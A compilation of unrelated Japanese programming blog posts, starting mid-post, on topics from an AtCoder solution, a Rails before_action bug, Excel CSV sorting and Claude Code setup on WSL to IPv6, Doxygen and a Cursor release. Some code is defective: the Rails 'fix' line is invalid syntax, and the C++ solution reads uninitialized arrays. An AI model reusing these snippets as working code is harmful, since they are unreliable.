- ちなみに解説では二行のfor文だけで答えを出していて草だった

## AtCoder Beginner Contest 408
[C - Not All Covered](https://atcoder.jp/contests/abc408/tasks/abc408_c)
- 記憶に新しいimos法
- 流石に解けた
- 問題には関係ないがやはり最新から近いコンテストだとaccのテストが機能していない可能性がある（仕方ないのでコードテストでテストした）
```
int main() {
    long long N,M;
    cin >> N >> M;
    long long dif[1000009];
    long long sum[1000009];
    dif[0] = 0;
    sum[0] = 0;
    for (long long i = 1;i <= M;i++){
        long long L,R;
        cin >> L >> R;
        dif[L]++;
        if (R < N) {
            dif[R + 1]--;
        }
    }

    long long min = LLONG_MAX;
    for (long long i = 1;i <= N;i++){
        sum[i] = sum[i - 1] + dif[i];
    }

    for (long long i = 1;i <= N;i++){
        if (sum[i] < min) {
            
            min = sum[i];
        }
    }
    if (min < 0) {
        cout << 0 << endl;
        return 0;
    }
    
    cout << min << endl;

}
```
before_actionの実行順によるエラーを解消

先日、before_actionの実行順が原因で開発のアラートが大量発生したので、回顧録として記載していきます。

## 自分が作業したタスク
下記のようなbefore_action（特定の権限のみに画面を表示させる）メソッドを追加した。
```ruby
  before_action :prevent_invalid_user # 不正なアクセスユーザーを防ぐメソッド
+ before_action :redirect_specific_supervisor_page unless current_company.uncontracted_company?# 特定の権限のみに画面を表示させるメソッド（未契約企業は発火させない条件付き） 
```


## 発生した事象
上記の追加したタスクによって、prevent_invalid_userでリダイレクトされるはずの処理が実行されず500エラー画面発生。しかもセッション切れるたびに発火するメソッドなため、高頻度でアラートが出る。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1935269/14360363-3cb1-4061-8006-90033420d95e.png)


ユーザー画面：画面上でセッション切れた → 画面更新 → `500エラー発生`

## 発生した原因
ここからが本題です。

まず、もともと実装されていたprevent_invalid_userというのはapplication.rbで定義されており、初期段階で呼び出されるメソッドです。

### 本来の呼び出される想定の順番
#### ①prevent_invalid_userの定義先
```controller.rb
before_action :prevent_invalid_user # 不正なアクセスユーザーを防ぐメソッド
```

#### ②prevent_invalid_userの定義元
```application.rb
def prevent_invalid_user
    return unless current_company.nil?

    render "auth/login_user.html" # ログインユーザー画面
end
```

#### ③ここでcurrent_companyがnilとなり、ログイン画面へリダイレクト

#### ④終了

### 実際の呼び出される順番

#### ①追加したメソッドが呼ばれる
```ruby
before_action :redirect_specific_supervisor_page unless current_company.uncontracted_company?
```

#### ②current_companyがnilになるので500エラーが発生

#### ③バグ発生！！！

### 原因
親の継承元のapplication controllerの実行順番によって、不正アクセスを防ぐメソッドに到達するまでに500エラーが発生。結果バグが発生してしまった。本来は追加したメソッドが優先的に実行されるベキだったので、下記に修正する必要があった。

```ruby
prepend_before_action :before_action :prevent_invalid_user
```
こうすることでbefore_actionよりも先に実行されることで実行順序を入れ替えることができた。めでたしめでたし。

### 参考文献
https://remoter.hatenablog.com/entry/2020/02/07/%E7%B6%99%E6%89%BF%E5%85%83%E3%81%AEApplicationController%E3%81%AB%E5%AE%9A%E7%BE%A9%E3%81%97%E3%81%9Fbefore_action%E3%81%A8%E5%90%84%E3%82%B3%E3%83%B3%E3%83%88%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC
CSVファイルの解析環境構築（その１：列のバブルソート）

## はじめに
データ解析のため、たくさんのCSVファイルを扱っている。
解析のために、CSVファイルをExcelで開いて指定した列をキーにデータをソートしているが、手作業では手間と時間がかかるためPythonを使って（少しでも）手順を自動化する。

＜追記＞
このままでは、列数が増えた場合に処理速度が目も当てられない状況になる。
下記の記事でExcelの機能を使ったソート処理に修正してみた。

・[CSVファイルを列でソートする（その２：Excelの機能を使う）](https://qiita.com/aopapa1017/items/657eabce46824fc3caee)


## 今後のレベルアップ項目
まだ知識（技術）不足で実現できていないが、下記の手順も自動化していきたい。
* 表紙などのシートを追加したい
* データの並べ替えルールをユーザ定義できるようにしたい
* 条件付き書式設定を追加したい

## サンプルコード
1行目をキーにして列の入れ替えを実施。
Excelの機能でソートしたかったが、列の入れ替えなかなかうまくいかず断念...

``` python: main.py
import argparse
import os
import win32com.client
import const_excel as xl   # ※参考サイトを見て作成しました
from enum import Enum

# カレントディレクトリ・ファイルパス
APP_PATH = os.getcwd()
FILE_PATH = os.path.dirname(__file__)


class ResultCode(Enum):
    """ 戻り値 """
    OK = 0
    NG = -1


class CommandParam():
    """ コマンドパラメータクラス """
    path_csvfile: str
    path_output: str


def main():
    """
    CSVファイルを列でソートする（バブルソート）
    """
    # コマンドラインチェック
    command_param = CommandParam()
    ret = check_commandline(command_param)

    # CSVファイルをExcelで開く
    excel = win32com.client.Dispatch('Excel.Application')
    excel.Visible = 0
    workbook_csv = excel.Workbooks.Open(command_param.path_csvfile)
    sheet_csv = workbook_csv.Worksheets(1)

    # データ範囲の行数・列数を取得
    row_count = sheet_csv.Cells(sheet_csv.Rows.Count, 1).End(xl.xlUp).Row
    col_count = sheet_csv.Cells(
        1, sheet_csv.Columns.Count).End(xl.xlToLeft).Column

    # 列のソート（バブルソート）
    for col1 in range(col_count - 1):
        for col2 in range(col_count - 2, col1 - 1, -1):
            if sheet_csv.Cells(1, col2 + 1).Value > sheet_csv.Cells(1, col2 + 2).Value:
                sheet_csv.Columns(col2 + 1).Cut()
                sheet_csv.Columns(col2 + 3).Insert()

    # Excelファイル(xlsx)形式で保存する
    sheet_csv.SaveAs(command_param.path_output,
                     FileFormat=xl.xlOpenXMLWorkbook)
    excel.Quit()


def check_commandline(param: CommandParam) -> ResultCode:
    """
    コマンドラインチェック

    Args:
        param (class)       : (out)コマンドパラメータ

    returns:
        ResultCode.OK       : 正常
        ResultCode.NG       : 引数エラー
    """
    result = ResultCode.OK

    # コマンドライン パラメータ
    parser = argparse.ArgumentParser(
        description='Aout WinMerge Tool', add_help=True)
    parser.add_argument('arg1', help='CSVファイルのパス')
    parser.add_argument('arg2', help='出力先のパス')
    args = parser.parse_args()

    # パスチェック
    if os.path.isfile(args.arg1) == False:
        print(f'{args.arg1} が見つかりません')
        result = ResultCode.NG

    if result == ResultCode.OK:
        param.path_csvfile = args.arg1
        param.path_output = args.arg2

    return result


if __name__ == "__main__":
    main()
```

## 参考にしたサイト
下記サイトの情報がとても参考にして、const_excel.py を作成しました。
ありがとうございます。

・[Python pywin32(win32com) Excel 操作備忘録](https://qiita.com/feo52/items/150745ae0cc17cb5c866)
歌詞と自然言語処理【日記】



## 第1章：歌詞テキストと自然言語処理の基礎

**目的**：歌詞を扱うために必要なNLPの基本技術を理解する。

* 1.1 歌詞の特徴：文体、繰り返し、比喩、意味曖昧性
* 1.2 自然言語処理の基本ステップ（トークン化、品詞、文解析）
* 1.3 形態素解析（日本語：MeCab / SudachiPy、英語：NLTK / SpaCy）
* 1.4 前処理と正規化（記号除去、ひらがな化、表記ゆれ対策）

🛠 **実践**：J-Pop歌詞をMeCabで形態素解析し、単語頻度を可視化（wordcloud）

---



## 第2章：歌詞の構造分析とTF-IDFによる重要語抽出

**目的**：歌詞内の重要語やテーマを機械的に抽出・分析する。

* 2.1 単語頻度とTF-IDFの理論
* 2.2 歌詞のジャンル別比較（恋愛／応援／失恋）
* 2.3 キーワード抽出と意味の分布

🛠 **実践**：TF-IDF + TfidfVectorizerで、上位キーワードを抽出しBarplot表示




## 第3章：Word2Vec・FastTextによる意味ベクトル化

**目的**：歌詞内の語の意味的な近さ・関係性を捉える。

* 3.1 Word2Vecと分散表現の基本
* 3.2 類似語の探索とアナロジー（例：「君」 - 「僕」 + 「あなた」）
* 3.3 FastTextによる未登録語（サブワード）対応

🛠 **実践**：歌詞からWord2Vecを自前学習 → 類似語とベクトル空間可視化（t-SNE）

---

## 第4章：感情分析と歌詞ジャンル分類

**目的**：歌詞の感情・情緒を自動で推定し、ジャンル分類に活かす。

* 4.1 感情分析の種類（極性、感情ラベル、情緒分類）
* 4.2 辞書ベース vs 機械学習モデル（LSTM, Transformer）
* 4.3 歌詞のジャンル（ポップ・バラード・ロック）分類モデル

🛠 **実践**：日本語感情辞書 + sklearn で極性分析 / 感情分類器の構築と評価

---

## 第5章：歌詞の生成と創作支援（生成AI応用）

**目的**：NLPを用いた創作支援の可能性と倫理的観点を学ぶ。

* 5.1 GPTやTransformerによる歌詞生成
* 5.2 韻やリズムを考慮した歌詞補完
* 5.3 模倣生成と著作権・創作性の問題
* 5.4 歌詞の対話的生成システム（ChatGPT + 歌詞構造）

🛠 **実践**：ChatGPT API + 自作プロンプトで歌詞を対話的に生成／評価

---

## 📎 補足教材・拡張

* 歌詞コーパス：J-Lyric, uta-net, Geniusなど
* 音楽ジャンルと語彙使用傾向の統計
* 英語／韓国語の歌詞との比較分析（多言語NLP）

---
IntelliJ IDEAでenumをアルファベット順にソートする

enumの要素(どれでも)にカーソルを当てた状態で、Windows版なら`Alt`+`Enter`(mac版なら`Opt`+`Enter`)を押して「コンテンツの並び替え」を選択。

![idea_sort_enum.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/181011/9b8ebed0-7479-42f0-a69c-1e29b4094e66.gif)
Windows上でclaudeコマンドを使えるようにするまで ～ WSL2 x AlpineLinux x ClaudeCode ～

# WSL2 x AlpineLinux x ClaudeCode
ClaudeCodeを使いたいけど、Windows上でClaudeCodeを動かすにはWLS2を使うしかない！
WSL2で簡単にインストールできるUbuntuほど大きいLinuxはいらない！
そんな私が行った WSL2 x AlpineLinux x ClaudeCode の備忘録。

最終的にはWindows上の任意の場所でclaudeコマンドを使えるようにします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/264e1f23-292a-4e97-9aed-d72b48aba82e.png)


## 前提条件
とりあえず、`wsl`コマンドは使える状態から開始します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/0b6bff50-ee0d-4664-b685-cabec6b296de.png)

## WSL2にAlpineLinuxをインポート
Alpine Linuxのページより、**Mini root filesystem**をダウンロードします。

https://www.alpinelinux.org/downloads/

一般的にはには`x86_64`を選ぶ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/d2bf4859-da1c-4c7f-903c-0694d384c1ae.png)

2. ダウンロードした`alpine-*******.tar.gz`ファイルをコマンドプロンプトなどからwslへインポートする。
> ファイル名やパスはAlpineLinuxをダウンロードしたパス。
```
wsl --import ClaudeCode c:\wsl "C:\*****\alpine-*******.tar.gz"
```
実行結果 例:
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/a963531f-2152-4df8-bbf8-94e5a677e706.png)


## wslへ入る
`wsl -d ClaudeCode`を用いることで、AlpineLinuxの環境に入ることができます。
もしくは、Microsoftのターミナルを使っている場合はプロファイルが自動で作成されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/501d0bf2-bdbd-452f-83fd-7902a62d1977.png)

AlpineLinuxに入ったら、脳死でパッケージの更新を行う。
```
apk update
apk upgrade
```

また、ClaudeCodeに必要なパッケージがAlpineLinux(BusyBox)に不足しているのでインストールします。
```
apk add coreutils
```

## npmのインストール
ClaudCodeのドキュメントを見ると、ClaudCodeのインストールには`npm`が必要なようです。

https://docs.anthropic.com/ja/docs/claude-code/overview

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/a3915d57-253b-4d59-8bf4-f453f0117a80.png)

以下のコマンドでnpmをインストールします。
```
apk add npm
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/18dec0b8-a0c4-43f4-9334-71b24a74c4c3.png)

## ClaudCodeのインストール
先ほどのドキュメントを参考にClaudCodeをインストールします。
```
npm install -g @anthropic-ai/claude-code
```
インストールしたらClaudCodeが実行できるか確認します。
``
claude
``
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/73f1962e-1b74-4859-bd14-2887b17ed504.png)
ちゃんと起動できまるので、初期設定とライセンス認証などを行います。(割愛)

## claudeコマンドをWindowsから呼び出せるようにする
適当なところに適当なフォルダーを作ります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/ca259cdf-a838-4989-94a5-6530a3d8277e.png)
その中に、`claude.bat`ファイルを作成し、以下のコマンドを入力します。
```
wsl -d ClaudeCode --cd "%cd%" claude %*
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/d6f3d9bc-2c81-4b40-862f-480cc3ada9dc.png)

システムの環境変数から、パスを作成したディレクトリへ通します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/977900b2-3034-49bc-8ae1-fec7994e0f4a.png)

任意の場所/プロジェクトで`claude`コマンドが使えるようになりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826547/b6179b39-30f6-4d34-9613-7f17b84dc342.png)
#0164（2025/06/05）IPv6の恩恵

■アドレス枯渇の決定的解消
・128ビット＝3.4×10^38個のグローバルIP。組織ごとに/48単位で余裕を持って配布でき、追加の申請やサブネット分割に悩まない。
・スマート家電やセンサーなど “すべてのモノ” が直接インターネットにぶら下がる前提を実現。

■NAT不要による純粋なエンドツーエンド通信
・各端末が固有のグローバルIPを持つため、ポート開放・STUN/TURN・UPnPの試行錯誤から解放。
・P2Pゲーム、WebRTC会議、遠隔制御、リモートデバッグがワンクリックで接続。
・トラフィックを変換しないぶんルーター負荷と遅延が減少。

■自動設定（SLAAC/RA）で運用簡素化
・ルーターがプレフィックスを広告→端末は自分でIP生成。小規模ならDHCPサーバ不要。
・Stateless DHCPv6を併用すれば DNS などだけ配布も可。環境に応じた軽量・厳格運用を選択。
・アドレス変更時もRAを流すだけで即反映。キッティングや大規模展開の工数を大幅削減。

■ルーティング効率とスケーラビリティ
・階層設計を前提としたアドレス構造。ISP→企業→拠点→ホストと綺麗に集約し、BGPテーブルを肥大させない。
・固定長40バイトヘッダでハードウェア処理を高速化。大容量トラフィックでもラインレート維持が容易。

■セキュリティ標準化と可視性向上
・IPsec実装を前提に規格化。暗号化・認証をネットワーク層で統一。
・NAT共有がないため「どの端末が何をしたか」を一意のアドレスで追跡可能。ゼロトラスト設計と相性良好。

■高速化ポテンシャル
・NAT除去＋固定ヘッダによりスループット向上、ジッタ低減。
・Flow LabelがQoSやECMP最適化を支援。実装次第でリアルタイム系のレイテンシ短縮。

■移行期を支える Happy Eyeballs
・デュアルスタック環境でIPv6優先・IPv4即フォールバックを自動化し、ユーザは待たされない。
・ブラウザ・OS組込済みで導入障壁ゼロ。

■将来拡張性とマスコネクション
・5G/6G、車車間通信、工場IoT、メタバースなど「爆発的端末増加」を見越した唯一の現実解。
・大規模クラウド／CDNはIPv6直結を前提に設計が進行中。早期採用ほど後方互換コストを抑制。

■まとめ
IPv6は単なるアドレス増ではなく、⾰新的な"ネットワーク簡素化&性能向上パッケージ"。アドレス枯渇を根本解決しつつ、NAT撤廃・自動設定・効率ルーティング・標準暗号化・高速化機構を提供することで、管理者の運用負荷を減らし、ユーザー体験を向上させる。構築・運用・拡張・セキュリティの全面で "使うほど得をする" のがIPv6の実利的恩恵である。
【DeviseTokenAuth】paranoidモードを有効化する方法


## paranoidモードとは

有効化するとパスワードリセットなどのために提供されたがメールアドレスか正しいか間違っているかに関わらず、同じ動作をするようになります。
これにより、特定のメールアドレスが登録されていないことを第三者に知られることを防止できます。

## 有効化する方法

`config/initializers/devise.rb`に以下のように記述することで有効化できます。

```ruby
Devise.setup do |config|
  config.paranoid = true
end
```
Nintendo Switch 2と キャプチャーボードを接続したとき音が出ない問題と対処法

# 

## 発生した問題

Nintendo Switch から Switch 2 へ切り替えたことで、これまで使っていた UGREEN 製キャプチャーボード (例: [Amazon商品ページ](https://www.amazon.co.jp/dp/B0DGXJS6BF)) を経由してPC(使用ソフトはOBS)に接続すると、映像は出力されるのに音声が出ない問題が発生しました。

SNSでは「EDID設定を統合(「Merged」)にする必要がある」との情報もあり、本記事ではその実態と対処策をまとめます。

---

## 前提環境

* **入力:** Nintendo Switch 2 (HDMI)
* **経由補足:** UGREEN HDMI キャプチャボード
* **出力:** PC の OBS Studio (映像入力OK、音声が出ない)

---

## 原因の可能性

### 1. OBS側の設定不備

* OBSで映像デバイスを追加しただけでは音声を取り込めない場合がある
* 「**音声入力キャプチャ**」を追加し、その中で UGREEN の音声デバイスを指定
* OBSの音声ミキサー設定も要確認

### 2. Switch 2 側の音声込み設定

* HDMI出力の音声設定が「自動」になっていると、5.1ch出力になる場合がある
* その場合、キャプボは2ch PCMまでしか対応しないため、音声が出力されない
* 対策: Switch 2本体で「ステレオ」に固定

### 3. EDIDの問題

* EDIDは接続先(ディスプレイ)の能力を通知するHDMIの情報で、これに音声対応の有無も含まれる
* 音声チャネルを含まないEDIDが接続先に渡ると、Switch 2 が音声出力を停止する可能性

---

## UGREEN キャプボはEDID切り替え対応か？

結論から言うと、**UGREEN製キャプチャボード(B0DGXJS6BF)はEDIDの管理や切り替え機能に完全には対応していません**。

Elgatoなどの上位機種は

* Merged (統合)
* Internal (内部EDID)
* Display (ディスプレイEDIDを使用)

などを切り替えられるようですが、UGREENの場合はそれらの設定機能がありません。

---

## 対処策

### 1. Switch 2 側の設定を要確認

* **音声込み設定:** 「ステレオ」に固定
* **HDMI解像度の固定:** 1080pまでに制限 (キャプボ側の上限が1080p\@60fps)

### 2. OBS側の設定を要確認

* 「音声入力キャプチャ」を追加
* 「カスタム音声デバイスを使用」をON
* ミキサーのミュートやモニタリングの設定も確認

### 3. 外部補助装置を使う

#### EDIDエミュレーター

* Dr.HDMIなどを使い、音声対応のEDIDを擬似する
* EDIDで1080p/ステレオ音声対応を通知する

#### HDMI分配器や音声抽出機

* EDID固定機能付きのHDMIスプリッター
* アナログ抽出機(音声のみ別線化)を使用

---

## おわりに

Nintendo Switch 2 は高解像度HDMI2.1に対応しており、接続先のEDID信号によって込み設定や音声出力が変わる場合があります。

UGREENのようなローコスト製品にはEDID設定が付いていないため、分配器やEDIDエミュレーターを使うのが最も確実な対策です。

どこかの誰かの参考になれば幸いです。
VPCを学ぶ - クリンナップする

# クリンナップする

これまで

1. VPCの作成
1. IPv4グローバルのあるEC2
1. IPV4グローバルのないEC2
1. インターネットゲートウェイのアタッチ

といったことをやってきたが、次はIPv6を試すために削除する。
なかなかVPCを削除するなんてのは実験でもない限り体験できないので、体験しておくとよさそう。

# EC2の削除

1. EC2のダッシュボードへゆく
1. 左からインスタンスを選択
1. これまで上記で作成したインスタンス2つを選択し、「インスタンスの状態」を押し、「インスタンスを終了（削除）」を選択する

「終了済み」と表記されるが、すぐには削除されない。しばらくしたら削除される

# VPCの削除

1. VPCのダッシュボードへゆく
1. 左から「お使いのVPC」を選択
1. Nameタグがでているのでそこから今回の対象を選択し(例 `learning-20250506` )
1. 「アクション」ボタンを押し「VPCの削除」を選択する
1. 紐付く以下も削除されるかきかれるので、フィールドに値を入力して「削除」ボタンを押す
    1. インターネットゲートウェイ
    1. セキュリティグループ
    1. サブネット
wslとDoxygen+ Graphvizでcppの詳細ドキュメントファイルを生成する

# ✅ Doxygenで全体のクラス図を生成する方法

cppのクラス図を自動生成してほしいので、DoxygenをWSLを使用して生成してみることにしました。
以下説明。

## 🔸 1. 事前準備
### (1) 必要なツール
- **Doxygen**（必須）
- **Graphviz（DOT）** → クラス図やコールグラフなどを画像として生成するのに必須

### (2) インストール（Ubuntu/WSLの場合）
```bash
sudo apt install doxygen graphviz
```
Windows でも公式サイトからインストーラーを使えばOKです。

---

## 🔸 2. Doxygen設定ファイル（Doxyfile）を作成

```bash
doxygen -g
```
で `Doxyfile` が生成されるので、以下の設定を行います。

---

## 🔸 3. Doxyfile設定例（重要ポイント）

### 【クラス図生成の必須設定】
```ini
HAVE_DOT            = YES
DOT_GRAPH_MAX_NODES = 100  # ノード数上限（多いと重いので注意）
CLASS_DIAGRAMS      = YES
UML_LOOK            = YES
CALL_GRAPH          = YES
CALLER_GRAPH        = YES
```

### 【全体の関係も生成したい場合（推奨）】
```ini
DOT_MULTI_TARGETS   = YES
INTERACTIVE_SVG     = YES  # SVGならブラウザで拡大縮小も便利
```

### 【日本語対応（推奨）】
```ini
OUTPUT_LANGUAGE     = Japanese
```

---

## 🔸 4. 実行

```bash
doxygen Doxyfile
```

---

## 🔸 5. 結果

- `html/` フォルダに `index.html` が生成されます。
- そこから「クラス一覧」や「クラス階層図（Class Hierarchy）」を辿ると、クラス間の継承関係・依存関係がグラフィカルに表示されます。
- Graphvizで生成されたUML風クラス図（SVG/PNG）もリンクで埋め込まれます。

---

## ✅ 生成される「全体クラス図」と「部分クラス図」

| 図の種類           | 内容                                                               |
|--------------------|--------------------------------------------------------------------|
| クラス階層図       | 全体のクラス継承ツリー（Base → Derived）                          |
| クラス図（個別）   | そのクラス単体のメンバ関係・継承関係・依存関係                     |
| ファイル依存関係図 | ヘッダ・ソース間のinclude関係                                     |
| コールグラフ       | 関数の呼び出し元・呼び出し先（設定次第で呼び出し元グラフも生成可能） |

---

## ✅ 注意点

- **プロジェクトが大規模な場合、DOT_GRAPH_MAX_NODESを増やすと処理が重くなります。**
  - 例: `DOT_GRAPH_MAX_NODES = 1000` だと大量に生成されるので最初は 100 くらいで十分。
- もし大きな全体図が重い場合は、個別のクラス図だけ出力する設定も可能です。
- **Graphvizが必須**なのでインストール漏れに注意してください（Windowsなら環境変数の設定もお忘れなく！）。

---

## ✅ まとめ

✅ Doxygen + Graphviz でクラス図（UML風）も全体図も生成OK  
✅ `CLASS_DIAGRAMS = YES` で有効化  
✅ `UML_LOOK = YES` でUMLライクな見た目に  
✅ 日本語コメントも表示可能  
✅ 複雑な依存関係もGraphvizで綺麗に描画できる
【React Native】横並びのTextの折り返し有無を制御する

# やりたいこと
以下の用件のUIを作成したい
・左右に Text が横並び（横並び＝flexDirection: 'row'）
・それぞれの Text は画面の左右いっぱいに寄っている
・左側の Text は 複数行 に折り返して表示される（右側にかぶらない）
・右側の Text は固定幅 or 自動幅で右端に配置される

# 実装

```react
import React from 'react';
import { View, Text, StyleSheet } from 'react-native';

const TwoTextRow = () => {
  return (
    <View style={styles.container}>
      <Text style={styles.leftText}>
        これは左側のテキストです。内容が長くなると自動的に折り返されます。
      </Text>
      <Text style={styles.rightText}>
        右側
      </Text>
    </View>
  );
};

export default TwoTextRow;


const styles = StyleSheet.create({
  container: {
    flexDirection: 'row',
    padding: 16,
    alignItems: 'flex-start',
  },
  leftText: {
    flex: 1, // 残りのスペースをすべて使う
    marginRight: 8,
    fontSize: 16,
    flexWrap: 'wrap',
  },
  rightText: {
    fontSize: 16,
    color: 'gray',
    // 幅を自動で計算する
    flexShrink: 0, // 右側は縮まない（固定幅）
  },
});
```

表示されるUIは以下。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308202/39ce292b-7d9f-4f48-9181-25266df4b763.png)
関数電卓、頭がゼロで始まる小数に1桁整数を足すと最下桁が変化する？

## 0～9の値を出そうとして遭遇した
三角関数の式を使って0～9の数字を何とか出せないかとEL-501Tをいじっていた時のこと。
sin(1.234°)が 0.021535697 となかなか良さそうだったので
![dec0_1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/06687f52-f2ba-403d-9daa-8f6d5d14cac4.jpeg)
この数字に4.8を足して1～9の数字を出そうと試みると…
![dec0_2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/a65cb05b-f948-4887-97c9-bab4d5e6f915.jpeg)
なぜか最下桁の7が8に変わってしまう。

これは4を足しても同じく 4.021535698 になり、ここから4を引くと元の 0.021535697 に戻るという具合。
いったい何が起きているのか。

## カシオES機やClassWizだと…
この謎はカシオES機やClassWizで計算させると手がかりが見つかる。
![dec0_3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/470fbb2b-3c8c-43d9-85b5-b79c995bd7d8.png)
これらの機種は頭が0で始まる小数の場合、浮動小数点のように0を除いた10桁をフルで表示しようとする（結果、見た目は12桁に）。

EL-501Tでも、頭が0で始まる小数の場合、[F↔E]キーで指数表示に切り替えることで10桁分の表示が可能である。
![dec0_4.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/c91ab779-db1a-42fc-88fc-ac4e805d3be5.jpeg)

つまり、7セグ機の場合、頭が0で始まる小数は0を除いた10桁フルで表示したいけれど、表示部分が確保できないので表示できる範囲で表示（切り捨て）し、整数部がある小数は頭から10桁の小数とみなして11桁を四捨五入するのでないかと推測できる。
![dec0_5.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/33342f67-aab1-4715-9d69-8a28a2044d40.jpeg)
![dec0_6.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/d02f15e0-e292-46dd-a8f1-de7372d9ba35.jpeg)

## TIだと戸惑わない
上記の挙動はカシオ、シャープ、キヤノンいずれの機種でも起きた（シャープは複数行機も同様）が、TI機は異なる。

以下のように、TI機は頭が0であろうと頭から10桁分で小数を扱い、11桁目を四捨五入する。
![dec0_7.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3943774/69227276-aee3-4a27-b16a-8b002da17a37.jpeg)

このためだけにわざわざTI機を買う必要もないと思うが、国産機を使う場合、頭が0の小数の末尾処理については留意しておきたい。
[未経験でWEBエンジニアになりたい泣＃0]自己紹介、目標の明確化、長期モチベを作る、勉強法

# 自己紹介
はじめまして
大塚理央[@rio07050721](https://x.com/rio07050721)と言います。

年齢は25歳で専門卒の元陸上自衛官、現在は接客業で働いています。
未経験のwebエンジニアを目指して勉強中です

### 趣味
- 筋力トレーニング
健康維持目的で週3回実施
- NBA観戦
❤️[Los Angeles Lakers](https://x.com/Lakers)　❤️[八村塁](https://x.com/rui_8mura)
- CDL観戦
❤️[OpTic Texas](https://x.com/OpticTexas)

# 目標の明確化
**25年10月までに未経験でWEBエンジニアに転職する**

# 長期モチベを作る
### 価値観評価スケール
自分の中の価値観を言語化し長期的なモチべにする
数ヶ月おきに作り直す
※価値観評価スケールに正解はない

##### ①家族
・家族の中でどのように振る舞いたいか？
・どのような関係を築きたいか？

##### ②結婚、恋人、恋愛
・どんなパートナーでありたいか？
・どんな関係を築きたいか？

##### ③友人・対人関係
・どのような友人関係を築きたいか？
・人間関係において、どうのように自分の強みを活かしたいか？
・自分が相手にとって最高の友人だとしたらどのように振る舞うか？

##### ④キャリア・仕事
・仕事において何を大切にしているか？
・どのような働き方を大事にしているか？

##### ⑤自己成長
・もっと知りたいと思うことは何か？
・習得してみたい新しいスキルは何か？
・自分がさらに成長するにはどの資質を活かせそうか？

##### ⑥余暇・レジャー
・自分が何をやっているときが幸せか？
・どんな趣味、遊びをしたいか？
・リラックスしていると感じるのはどんなとき？

##### ⑦コミュニティ・社会生活
・所属しているコミュニティにどのように貢献したいのか？
・自分の居場所をどのように作りたいか？

##### ⑧健康（食事、運動、睡眠）
・身体の健康について何を重視しているか？
・自分の身体をどのようにケアしたいか？


# 勉強方法
![e903036c-938c-42b3-a545-ade7e1c2e69b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3708172/3a8bb25c-6278-485e-80b9-fd733537f01d.png)

[渡邉 臣@プログラミング戦略家 | JISOU](https://x.com/@Sicut_study) 参考

動画講座はハンズオンで学習する。ポートフォリオ作成のため問題駆動開発をします。
また分からないor詰まったところはQiitaで記事にします
Cursorがメジャーバージョンアップしました！(2025/06/05)

# Cursorのメジャーバーションがリリースされました！
この記事では、Cursorのchangelogを元に、リリースされた機能の中でも私の気になった新機能を紹介していきます！
では早速アップデート内容を見ていきましょう！！！

:::note
ビジネスユースを前提に採用しやすい機能を紹介しています！
:::


## 1. チャット応答の高機能化

> Cursor が会話内で視覚化をレンダリングできるようになりました。特に、Mermaid 図と Markdown 表を同じ場所で生成・表示できるようになりました。

これまでは表示できず、コードベースの記載だけだったmermaid記法を使用しての、フローチャートやシーケンス、ER等の記載が可能になります。
この機能は特にペアプロなどで効果がありそうです！！！

![スクリーンショット 2025-06-05 21.46.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3116193/e420db16-dbae-4b86-b199-abf7e2903b6d.png)


## 2. MCPインストールの簡略化
Cursorのdocsで公式からMCPのインストールリンクが提供されました！
提供されているツールはまだまだ少ないですが、MCPの利用ハードルが下がるのは嬉しいですね。

![スクリーンショット 2025-06-05 21.58.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3116193/08a95e46-39e3-4b05-b724-b793a5a04c54.png)

## 3. 設定画面とアカウントダッシュボードの刷新

設定周りのUIが更新されました！
- Model
- MCP
特にこのこのあたりのUIがこれまで以上にわかりやすく改善されています！

![スクリーンショット 2025-06-05 22.07.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3116193/620f06a7-3780-4c49-8bc1-6657d8f53c42.png)

![スクリーンショット 2025-06-05 22.07.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3116193/296c992a-7bcb-4016-95d8-1c9de5d99fa2.png)


## 今回紹介できなかったアップデート

### Bugbot
> BugBot は PR を自動的にレビューし、潜在的なバグや問題を検出します。
問題が見つかると、BugBot は GitHub の PR にコメントを残します。「カーソル内で修正」をクリックすると、エディターに戻り、問題を修正するためのプロンプトが事前に入力された状態で表示されます。
設定するには、BugBot ドキュメントの指示に従ってください。

Bugbot機能は従量課金&Github連携が必要になります。
ClaudeCode Actionなど類似の機能が他のAgenmtツールでも登場していますので、動向は要注意です。

### バックグラウンドエージェント
バックグラウンドエージェントはprivacymodeが有効になっているアカウントでは現状利用できません。近日中に利用可能になります。
    - コントロールパネルを開くにはCmd/Ctrl+E

### memory機能

clineなどではすでに実装されていた機能です。
この機能はCursorアカウント（組織アカウント）でprivacymodeが設定されている場合には使用できません💦

